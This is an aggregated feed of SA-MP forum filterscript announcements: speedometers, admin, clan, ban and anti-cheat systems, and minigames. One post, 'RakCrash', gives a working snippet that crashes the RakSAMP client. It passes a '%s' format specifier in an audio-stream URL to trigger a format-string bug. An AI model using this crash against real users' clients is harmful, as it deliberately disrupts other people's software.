Quantcast
Channel: SA-MP Forums - Filterscripts
Viewing all 595 articles
Browse latest View live

[FilterScript] Advance Double Speed-O-Meter by MNA

$
0
0
Hi Guys,
i have made speed-o-meter system. it have 2 Speed Meters. this is simple plug n play filterscript hope you guys will like it.


Default Meter:
Default Speed Meter is 1 you can change it by editing this line under OnFilterScriptInit.
Code:

Speedometer = 1;
with
Code:

Speedometer = 2;
else you can change it Ingame by just typing /meterchange

Images:
Speed-O-Meter[1]:





Speed-O-Meter[2]:





Download:
Mediafire Download
Pastbin Download

Credits:
MNA

+ REP

[FilterScript] Dinheiro e Estrelas em TextDraw

$
0
0
Dinheiro e Estrelas em TextDraw

Attachment 11763

Este é um sistema simples, porém navegando pelo fórum já percebi que vários membros tem duvidas de como esconder o dinheiro original do jogo e colocar em forma de ' R$ ' , então fiz este sistema tendo base no sistema do Catchorro : [Tutorial] Criando TextDraw De Dinheiro


Utilidade:
Embora pareça sem necessidade, este sistema ajuda a resolver o problema das estrelas, pois quando o jogador passa de 6 estrelas não aparece na tela, mas deste jeito irá mostrar ate 255 estrelas, e o dinheiro em TextDraw carrega mais rápido em transferências altas.

Código no pastebin

Este é meu primeiro post, aceito críticas construtivas!
Autor: GuiButt

Attached Images
File Type: png sa-mp-004.png (51.7 KB)

[FilterScript] Advance Double Speed-O-Meter [Version 2]

$
0
0
Hello,
This is Second version of my old speedometer, can simply change meter by /meterchange but you will need to rcon login first.

Version 1:
http://forum.sa-mp.com/showthread.php?t=656235

Whats New?
- New 3rd Speed-O-Meter Added.
- Fixed Speed Calculations.
- Changed some Global Textdraws to PlayerTextdraws to avoid bug.


ScreenShots:
Speed-O-Meter[1]:










Speed-O-Meter[2]:







Speed-O-Meter[3]:







Downloads:
PasteBin
Mediafire

Credits:
MNA

[FilterScript] MySQL Clan System

$
0
0
MySQL Clan System


I made this a while ago for CODE5 Resurrection, but nobody ever took responsibility for the script and simply wasted my time. This script was lying in my SAMP folder, so i thought might as well post it online.

Its very stable but unfinished, what's not finished is the clan war system, if someone wants to continue this and public it if they want to, just send me a Private Message or post your code here and i'll put it in this thread with credits.
If i get time, i might think of adding ClanWar to this system, but that's very unlikely!

Screenshots:

https://imgur.com/a/EhnjT9U

Download:

https://github.com/Agneese-Saini/SA-...ripts/clan.pwn

Dependencies:

MySQL Plugin: http://forum.sa-mp.com/showthread.php?t=56564
Sscanf Plugin: http://forum.sa-mp.com/showthread.php?t=602923
Streamer Plugin: http://forum.sa-mp.com/showthread.php?t=102865
Dialogs Include: http://forum.sa-mp.com/showthread.php?t=570213
easyDialog Include: https://github.com/Agneese-Saini/SA-...easyDialog.inc
ZCMD Include: http://forum.sa-mp.com/showthread.php?t=576114
Foreach/y_iterate Include: http://forum.sa-mp.com/showthread.php?t=570868

* If you wanna use this and have any question, feel free to ask here, don't PM me please!

[FilterScript] Anti Money Hack

$
0
0
Hello Guys Today I present you My Anti Money Hack System ,

Please Comment and +Rep me guys ,

Code:


new money[MAX_PLAYERS];
public OnPlayerSpawn(playerid)
{
money[playerid] = GetPlayerMoney(playerid);
return 1;
}

public OnPlayerDeath(playerid, killerid, reason)
{
money[killerid] = GetPlayerMoney(killerid);
return 1;
}

public OnPlayerEnterCheckpoint(playerid)
{
money[playerid] = GetPlayerMoney(playerid);
return 1;
}

public OnPlayerLeaveCheckpoint(playerid)
{
money[playerid] = GetPlayerMoney(playerid);
return 1;
}

public OnPlayerEnterRaceCheckpoint(playerid)
{
money[playerid] = GetPlayerMoney(playerid);
return 1;
}

public OnPlayerLeaveRaceCheckpoint(playerid)
{
money[playerid] = GetPlayerMoney(playerid);
return 1;
}
public OnPlayerUpdate(playerid)
{
if(GetPlayerMoney(playerid) == money[playerid] + 500)
{
ResetPlayerMoney(playerid);
GivePlayerMoney(playerid,money[playerid]);
return 1;
}
if(GetPlayerMoney(playerid) == money[playerid] + 1000)
{
ResetPlayerMoney(playerid);
GivePlayerMoney(playerid,money[playerid]);
return 1;
}
if(GetPlayerMoney(playerid) == money[playerid] + 5000)
{
ResetPlayerMoney(playerid);
GivePlayerMoney(playerid,money[playerid]);
return 1;
}
if(GetPlayerMoney(playerid) == money[playerid] + 10000)
{
ResetPlayerMoney(playerid);
GivePlayerMoney(playerid,money[playerid]);
return 1;
}
if(GetPlayerMoney(playerid) == money[playerid] + 20000)
{
ResetPlayerMoney(playerid);
GivePlayerMoney(playerid,money[playerid]);
return 1;
}
if(GetPlayerMoney(playerid) == money[playerid] + 99999999)
{
ResetPlayerMoney(playerid);
GivePlayerMoney(playerid,money[playerid]);
return 1;
}
if(GetPlayerMoney(playerid) == 99999999)
{
ResetPlayerMoney(playerid);
GivePlayerMoney(playerid,money[playerid]);
return 1;
}
return 1;
}

[FilterScript] Simple Pm System

$
0
0
Simple Private Message System

Simple system for private messaging in game.

Screenshots:



Commands:

/pm (id) (message)

/disablepms - disable the pms

/enablepms - enable the pms

/readpms - if you are rcon logged you can read private messages


(I am a new scripter, I have created it by myself, if you liked it please leave a comment)

Download

Source Code: Pastebin

Another Mirror: Pastebin

Pwn File: LINK

Amx File: LINK

[FilterScript] Simple MAP Workshop + Simple Funtions

$
0
0
Hello, this is nothing special, but I want to share them with you. It is a simple map of a mechanics workshop with some bases that go up and down and an entry / exit gate.








Download:

[FilterScript] Dennis12's Attachments Object Editor

$
0
0
Dennis12's Attachments Object Editor


Introduction
Hello everyone, these days we are looking for such a filtercript, but I did not find one, and that one did not like it. So I thought I'd create my own filterscript to finish my job, and now I want to share it with you.

Preview
Here you can see a small presentation of the filterscript.
I would appreciate if you let a like + comm clip :cool:

https://www.youtube.com/watch?v=AbTk...ature=youtu.be

Commands
  • /attach -> To attach an object to one of the 9 slots.
  • /editattach -> To edit an attached object.
  • /clearattach -> To delete the object on one of the 9 slots.
  • /saveattach -> To save your progress into [scriptfiles/attach.pwn].
  • /clearfile -> To delete the contents of the attach.pwn file.

Bugs
At the moment we did not find any bugs, but if you find one, you can write it down and it will be solved in the next version.

Credits
  • Dennis12 - Codding
  • Zeex - ZCMD

DOWNLOAD

https://www57.zippyshare.com/v/Nqpi9Hx8/file.html

If i helped you, use +rep :cool:

[FilterScript] Admin Weapon/Vehicle system by Mirsen

$
0
0
Hey!:p

This is my first filterscript. So it's kinda simple.;)

As the title says, it's a Weapon/Vehicle system for admins. It's set for RCON Admins, but you can change it if you want.

This filterscript includes:

- Spawning Admin vehicles[with vehicle ID];

- Destroying vehicles[no ID required][in the same command as above];

- Taking Admin weapons[with weapon ID];

- Weapons have infinite ammo.

Commands:

/adminvehicle [RCON ADMINS ONLY]

/adminweapon [RCON ADMINS ONLY]

Credits:

- Zeex[zcmd]

- Y_Less[sscanf2]

Download:

PasteBin:https://pastebin.com/LmqnSL9s

SolidFiles:https://www.solidfiles.com/v/MBqWRKBM6PWVk

Feel free to edit the script in any way you want. But please don't take the script as your's.

+1 rep. if you like it!:)

[FilterScript] Taxi Job

$
0
0
TAXI JOB


Taxi Job is a filterscript designed to do taxi fares. The player has to collect actors around the city of Las Venturas and then transport them to another city. When typing /taxi and then pressing Y to collect a fare, there will be a random coordinates picked from the array. This is the same when you collect the passenger so there can be a random destination to transport the passenger to, to compelte your fare. The coordinates are yours to change.


{1958.3783, 1343.1572, 15.3746}
.....^x........^y.........^z



VIDEO



COMMANDS/MACROS
/taxi
Toggles taxi driver status (on duty true/false)
/taxistats
Displays player's taxi statistics, total amount earnt, total customers and total unhappy customers
Y
Finds a fare for the taxi driver
H
When taxi driver is near their client, it will notify the actor (client) that they are there.


FILE
https://pastebin.com/STdbbX3A - [FS] Taxi Job


INSTRUCTIONS
  1. Click the pastebin like above
  2. Find the link named 'raw', click that.
  3. Press ctrl+s and name the file taxijob.pwn
  4. Drag taxijob.pwn to /filterscripts/ folder in your SA-MP server dictionary
  5. Using your pawn editor, compile the script taxijob.pwn by pressing F5 or the (compile) run button.
  6. Edit server.cfg, on the filterscripts line add 'taxijob' to the list
  7. Start your SA-MP server and everything should work

[FilterScript] Simple Parkour Event

$
0
0
Simple Parkour Event System


Introduction
Hello there, so i'm releasing today my new system, it's a Parkour Event, i recommend you to use it in your server!
it's great for Every Script And whatever because it has a very nice content as i am enjoying scripting it and playing it


How to Install it???
Just download the .pwn file below in the downloads Category and Copy all the content or download it, then paste the codes which it's in it into Pawno.exe and compile it then use the .amx copy to Load the filterscript.
and then go to your server.cfg and then open it and go the filterscripts line and write behind it Event the close the server.cfg and save allthings and start your server and enjoy playing the event system!


Pictures
Enjoy:
Click Here

Requirements
You'll need to run the script correctly these .inc files:

zcmd.inc - http://forum.sa-mp.com/showthread.php?t=91354
sscanf2.inc - http://forum.sa-mp.com/showthread.php?t=602923
foreach.inc - http://forum.sa-mp.com/showthread.php?t=570868
streamer.inc - http://forum.sa-mp.com/showthread.php?t=102865

Downloads
| Soon | [Version 1.0]
Recommended + plugins and includes]
Event.Amx
Event.pwn

• Suggestions are welcome!
• If you find anything strange, let me know then, by a PM or discord (in my Signature)! ;)
• Thanks for reading my thread :)

[FilterScript] RakCrash - Crash RakSAMP players! [SNIPPET]

$
0
0
RakCrash
Snippet for crashing RakSAMP players.

••• Description •••
There's a little bug in RakSAMP so it's possible to crash RakSAMP players by abusing null strings.

••• How? •••
RakSAMP crashes when passing string format specifier in Log() function.
Since SA-MP client doesn't crash passing null string inside audio stream, we can abuse this to crash invalid clients such as RakSAMP.

••• Downloads •••
PHP Code:

#include <a_samp>
#define FILTERSCRIPT
#define _RAKCRASH_HIDE // Hide "%s" in "real URL". 

/********************************************************************************
* How it works?                                                                    *
* RakSAMP crashes when passing string format specifier in Log() function.        *
* File: netrpc.cpp on ScrPlayAudioStream function:                                *
* Log("[AUDIO_STREAM] %s", szURL); --> if szURL contains %s, it will crash        *
* Since SA-MP client doesn't crash passing null string inside audio stream        *
* we can abuse this to crash invalid clients such as RakSAMP.                    *
*********************************************************************************/

public OnPlayerConnect(playerid)
{
#if defined _RAKCRASH_HIDE
    
PlayAudioStreamForPlayer(playerid"https://dl.dropboxusercontent.com/s/ac4oqi08gtiuzb0/intro%samp.mp3?dl=0"); // you can use any url containing %s or %20s or something else. It doesn't need to be a valid URL.
#else
    
PlayAudioStreamForPlayer(playerid"%s");
#endif
    
StopAudioStreamForPlayer(playerid);
    return 
1;


Greetings!
Nobody.

[Tutorial] Cale's Votekick System!

$
0
0
Hey guys, I just finished making this for my own server when I decided to upload it and share it with everyone.

Features:

* Complete Textdraw, displaying "Votekick on blah 1/5 votes", the 1/5 bit goes up by the /vote.
* Players can type /votekick <ID> <Reason> to vote somebody out.
* Half of the server's players need to vote to kick, so if there is 10 people online it will need 5 players.
* Players type /vote to continue on with the vote.
* 20 second timer before the votekick is canceled.
* Players cannot /votekick an admin.

Version 2:
* Added a visible countdown, the countdown restarts everytime someone /votes, the end of the countdown means the votekick has failed
* An admin command to stop the votekick (/votestop)

Version 2.5
* Fixed a small bug, the countdown wasn't working properly.

Download:
2 Shared
(note. the download only includes the .pwn)

Installation:
Open the .pwn file and compile it, then add to your server.cfg filterscripts line "Votekick".

Enjoy

Please post any bugs

[FilterScript] Simple CBUG script

$
0
0
I didn't find a thread like thread like this one but, this is an easy cbug script, yes, CBUG SCRIPT, not ANTI-CBUG script. Takes one second or less to spread all the magazine of a deagle, have fun.

https://pastebin.com/6TdbGHV4

PHP Code:

#include <a_samp>
#include <zcmd>
 
public OnPlayerWeaponShot(playeridweaponidhittypehitidFloat:fXFloat:fYFloat:fZ)
{
    if(
weaponid == 24)
    {
        
ClearAnimations(playerid);
        
// SendClientMessage(playerid, -1, "DEBUG: CBUG in progress");
    
}
    return 
1;


[FilterScript] [MYSQL R41-2] Simple Ban / Unban System

$
0
0
Hello, recently i was bored and decided to create a simple ban system for those people who started using MYSQL recently.

NOTE: This filterscript does not save / load or let you register accounts. You gotta have your own gamemode to do that.


Also, this filterscript was done in under 20 minutes, so if you find any bugs please report it.

This is version 1, i am going to update it by adding /oban, /tempban and show the player a dialog whenever he gets banned.

Plugins needed:
a_mysql : http://forum.sa-mp.com/showthread.php?t=56564
sscanf: http://forum.sa-mp.com/showthread.php?t=602923
foreach: https://github.com/karimcambridge/SAMP-foreach

Screenshots:

When a player connects and if he is banned, this will display:

https://imgur.com/a/UhnPhiJ

Here is the download:

Github
Pastebin

As i said, the script was done under 20 minutes so if you find any bugs please let me know.
I'll keep updating the filterscript.

Credits:

SA-MP Team for a_samp.
BlueG for a_mysql
Y_Less for sscanf
Kar for foreach

[FilterScript] Anti Drive-By

$
0
0

Anti Drive-By




INFO:


Code:

MAX_WARNING - 3 //can change to yours

If player was shot reason: (drive-by) he will not get damage!

Once player reaches max warnings he will get kicked.




PIC:











PASTEBIN



CREDITS:

SA-MP team - a_samp
ME - Anti Drive-By (ADB)


Attached Files
File Type: pwn ADB.pwn (1.4 KB)

[FilterScript] Shooter Minigame

$
0
0
Shooter Minigame


Introduction
It's been a long time I scripted this minigame and i thought it release it now. This is a minigame of my server. Actually, this minigame is based on demolition derby but with rocket launcher attached with the vehicle. It also has vehicle bounce feature with 2 seconds cooldown and a timer of 2 minutes. Further, feel free to edit it.

Bugs? None for now. If you find one please post it.

Images (The Stunt map which I used in this image is only for testing purpose)


Credits

Scripting - UFF
Streamer - Incognito
Zcmd - Zeex


Download Link

Pastebin

[FilterScript] GunGame Minigame

$
0
0
GunGame Minigame


Introduction
This is a minigame of my server but not as same as in my server. I saw a gungame gamemode and a lots of server has this minigame. So, i thought to make one for the sa-mp forum people. This minigame is based on 14 levels with weapons based on level. The one who reaches the level 14 will be the winner. Further, feel free to edit it.

Bugs? None for now.

Images



Credits

Scripting - UFF & $moke
a_samp - SA-MP Team
Streamer - Incognito
Zcmd - Zeex
Ultimate Funky Freeroam Community @2018

Download Link

Pastebin

[FilterScript] WAdmin [V1.0] [0.3.DL]

$
0
0

WAdmin V1.1 [0.3.DL]

Note
This does not save anything from the player data, so that's why it is very recommended you put it into your gamemode that has R41+ MySQL Version.

Also, you can only use this on 0.3.DL if you want to access the admin commands (since it uses custom textdraws)

Introduction

Hello, when I posted my last filterscript (ban system), I got positive comments and got asked from people to create my own admin system and release it, I decided to start creating it and after finishing all the commands I didn't know if I should release this filterscript or not, but I decided to release it. I know, this is not the best admin system filterscript ever, and I know that it doesn't have that much commands (30+), but still can be useful for some people.

How do i use this filterscript?

Well, you just load the files (you can edit it if you want but please don't release it after editing and claim it as yours), you must have sscanf and mysql plugin(s) included otherwise it won't work.

Advantages:
  • Player Commands
  • Admin Commands
  • Dynamic Config System (Controllable In-Game)
  • Latest MySQL Version
  • Can turn into a gamemde (very recommended)
  • Every single command on admin help is explained to make it easier for admins

Screenshots

Here is a list of screenshots i took in-game:
https://imgur.com/a/iS6mLUy
(p.s on the last screenshots there was a bug with the /mute commands as you can see, I've fixed it).

Credits
  • SA-MP Team for a_samp
  • maddinator / BlueG for a_mysql
  • Y_Less for sscanf2
  • Zeex for zcmd
  • Kar for foreach
  • Emmet_ for easyDialog
  • Gammix - well i kinda took the idea from Gammix when i made the dynamic config system but mine and his have totally different function, just liked the idea of the dialog.

Download
Github
Pastebin

I'll keep updating this filterscript, and if you find any bugs please report it other than being mean, I might've let something slide but I'll fix it even tho I didn't notice any bugs testing it, just please don't report "Not saving accounts and stuff" because it doesn't have anything to save stuff, I'll implement that when I have time but can't do it now.

[FilterScript] Donor System

$
0
0
Tricky Donor System by SamP_Gamer Aka Nikhil


Pictures

-Coming Soon

Versions || ChangeLog

Code:

................ ChangeLog ................
Version 3: Script has been fixed with all the bugs.
------------------------------------------
------------------------------------------
Version 2.1: Added Command /maptp, /dsay.
------------------------------------------
------------------------------------------
Version 2.0: Added 2 Levels In /dcmds.
------------------------------------------
------------------------------------------
Version 1: Released.

Credits

Code:

NikhilMeena : Scripting
Zcmd : Command Processor
CaptainBoi: Helped in v3

Download

Bugs
  • None
  • Report here if you found any.
  • Rep my work.
Viewing all 595 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>